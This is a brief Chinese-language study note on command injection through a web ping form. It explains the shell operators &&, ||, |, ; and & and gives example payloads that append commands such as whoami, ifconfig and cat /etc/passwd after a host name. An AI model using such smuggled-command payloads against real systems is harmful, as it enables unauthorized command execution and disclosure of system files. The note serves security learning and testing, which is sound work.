命令注入
场景:
前端页面可以输入一个IP地址进行ping测试.
测试在后面拼接其他命令能否执行.
1. "&&"
前面命令成功执行后, 再执行后面一条命令.
payload: www.baidu.com && whoami
前面如果ping成功就会执行后面的命令.
2. "||"
前面命令失败后, 再执行后面一条命令.
payload: www.baidu.com -dd || cat /etc/passwd
前面会因为不存在的参数-dd报错, 执行后面的命令.
3. "|"
管道, 前一个命令的输出作为后一条命令的输入.
ping www.baidu.com | ifconfig
这里先执行ping命令, 无论输出什么都会再执行后面的命令.
4. ";"
分号, 连接命令, 分别执行前后的命令.
payload: www.baidu.com -c 1 ; whoami
5. "&"
以后台方式执行命令, 通常与 nohup 结合.